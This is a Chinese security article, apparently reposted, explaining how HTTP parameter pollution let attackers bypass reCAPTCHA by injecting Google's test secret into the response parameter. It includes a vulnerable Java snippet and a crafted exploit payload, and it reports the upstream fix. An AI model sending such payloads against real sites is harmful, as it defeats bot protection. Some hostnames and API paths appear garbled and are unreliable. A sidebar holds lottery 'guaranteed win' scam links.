ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全安全文章 → HTTP参数污染漏洞绕过reCAPTCHA认证

HTTP参数污染漏洞绕过reCAPTCHA认证

时间:2018-05-31 07:01:52人气:作者:本站作者我要评论

HTTP参数污染漏洞绕过reCAPTCHA认证

HTTP参数污染

HTTP参数污染 "HTTP参数污染")几乎无处不在:从客户端到服务器端,不过,该漏洞的危害性却很大程度上取决于漏洞所在的上下文——在某些特定情况下,它可能导致危害巨大的数据泄露问题,但在大多数情况下,它只是一个低危漏洞。

reCAPTCHA绕过漏洞的前提条件,是相应的Web应用程序中存在HTTP参数污染问题。正是由于这个限制条件,导致Google严重低估了该漏洞的危害程度。

这里有一个包含reCAPTCHA绕过漏洞的Web应用程序示例:

  1. private String sendPost(String CaptchaResponse, String Secret) throws Exception {
  2.     String url = "https://www.cesafe.com/recaptcha/api/siteverify"+"?response="+CaptchaResponse+"&secret="+Secret;
  3.     URL obj = new URL(url);
  4.     HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();

其中,字符串连接用于构建url变量。

需要注意的是,如果向其发送这两个HTTP请求的话,会得到相同的响应:

  1. POST /recaptcha/api/siteverify HTTP/1.1
  2. Host: www.cesafe.com
  3. ...
  4. recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
  5. POST /recaptcha/api/siteverify HTTP/1.1
  6. Host: www.cesafe.com
  7. ...
  8. recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret={another-secret-application-secret}

reCAPTCHA API总是使用请求中的第一个secret参数,并忽略第二个secret参数。虽然这不是一个漏洞,但是,却可以被攻击者所利用。

Web开发人员需要以自动化的方式测试自己的应用程序,为此,Google提供了一种简单的方法来帮助开发人员在staging环境中“禁用”reCAPTCHA验证。这在谷歌的文档中有详细的记录和说明,简单来说,若想禁用reCAPTCHA验证,需要以硬编码的方式为site和secret参数指定如下所示的取值:

  1. Site的值: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI
  2. Secret的值: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

漏洞利用方法

现在,我们已经掌握了所有的要素,下面来看一看漏洞利用方法:

  1. POST /verify-recaptcha-response HTTP/1.1
  2. Host: www.cesafe.com
  3. recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

如果该应用程序存在HTTP参数污染漏洞,并且URL是通过在参数secret之前添加response参数得到的,那么,攻击者就可以绕过reCAPTCHA验证。

请注意,我们需要为含有该绕过漏洞的Web应用程序发送一个精心构造的response参数,其中包含:

  1. anything: 只是一个占位符
  2. %26: 字符&的URL编码形式
  3. secret:待“注入”的参数的名称
  4. %3d: 等号=的URL编码形式
  5. 6Le…JWe: 用于禁用reCAPTCHA响应验证的secret值

当满足攻击条件时,web应用程序会向reCAPTCHA API发送以下HTTP请求:

  1. POST /recaptcha/api/siteverify HTTP/1.1
  2. Host: www.cesafe.ocom
  3. Content-Type: application/x-www-form-urlencoded
  4. User-Agent: Python-urllib/2.7
  5. recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu

请注意,该请求包含两个secret参数,第一个是由攻击者控制的(由于易受攻击的Web应用程序中含有HTTP参数污染漏洞),第二个是由应用程序本身控制的。鉴于reCAPTCHA API总是使用第一个secret参数,所以,该请求的响应总是:

  1. HTTP/1.1 200 OK
  2. Content-Type: application/json; charset=utf-8
  3. Content-Length: 90
  4. {
  5.   "success": true,
  6.   "challenge_ts""2018-05-31T06:58:36Z",
  7.   "hostname""..."
  8. }

因为上面的响应是由Web应用程序处理的,所以,攻击者将被授予相应的访问权限。

通过上游修复漏洞

实际上,Google是在其REST API中修复这个安全问题的,并且我认为这是一个非常明智的举措。其实,Google的修复方法很简单:如果/request/passpt/api/siteverify的HTTP请求包含两个具有相同名称的参数,则返回错误。

通过这种修复方式,我们无需给含有HTTP参数污染和reCAPTCHA绕过漏洞的应用程序打任何补丁,就能提供相应的安全保护:真是太棒了!

可利用性

要在Web应用程序中利用该漏洞,需要具备两个严苛的条件。首先,应用程序在构造reCAPTCHA url过程中存在HTTP参数污染漏洞:Github搜索显示,在集成了reCAPTCHA的Web应用程序中,约有60%的程序满足该要求。

其次,包含漏洞的Web应用程序需要先创建带有response参数的URL,然后再创建带有secret参数的URL,即“response=…&secret=…”。奇怪的是,几乎所有的应用程序都使用“response=…&secret=…”这种格式的URL。据我猜测,可能是由于Google的文档和代码示例就是这样做的,而其他人则直接复制了这种格式。 Google在这方面还是很幸运的——如果他们反过来这样做的话,这个漏洞会影响到更多的网站。GitHub搜索显示,只有5%到10%的reCAPTCHA实现方式符合这一要求。

因此,如果我想在野外利用这一漏洞的话,只有约3%的采用reCAPTCHA的网站会受到影响:这并不算太糟糕,因为与其他漏洞相比,这个占比还是很小的。

小结

对于开发人员:切勿使用字符串连接来创建查询字符串,而应该使用字典来存储键和值,然后对其进行URL编码。

对于应用安全专家:HTTP参数污染漏洞是你的制胜法宝。

相关文章

猜你喜欢

  • 深入解析浅谈《快3单双准确率方法》成功方案

    2022-09-28 /

  • 全网首发《快3单双大小必中方法技巧》思路汇总

    2022-09-28 /

  • 资深攻略《快3大小必中技巧》上岸方法

    2022-09-28 /

  • 【最准确的玩法】《回血上岸计划导师QQ》操作系列

    2022-09-28 /

  • 经验教程《导师一分快三计划》最新窍门

    2022-09-28 /

  • 高手教你《大小单双最安全的打法》三期必中

    2022-09-28 /

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

本类推荐

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网